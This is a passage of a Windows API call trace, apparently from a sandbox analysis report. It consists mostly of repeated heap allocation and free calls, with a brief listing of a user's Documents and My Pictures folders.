dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.706] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.706] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.707] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.707] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.708] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.708] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.709] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.710] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0060.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0060.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.710] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0060.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0060.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.710] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0060.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0060.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0060.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0060.710] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0060.710] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.710] PathFindFileNameW (pszPath="") returned="" [0060.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.710] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c92fae0, ftCreationTime.dwHighDateTime=0x1d4c83e, ftLastAccessTime.dwLowDateTime=0x7b13b990, ftLastAccessTime.dwHighDateTime=0x1d4d10c, ftLastWriteTime.dwLowDateTime=0x7b13b990, ftLastWriteTime.dwHighDateTime=0x1d4d10c, nFileSizeHigh=0x0, nFileSizeLow=0xcb4f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wWuRiwRN3-J7Oj9WP.jpg", cAlternateFileName="WWURIW~1.JPG")) returned 0xffffffff [0060.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0060.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0060.710] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0060.710] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.710] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.711] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.711] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.712] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.712] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 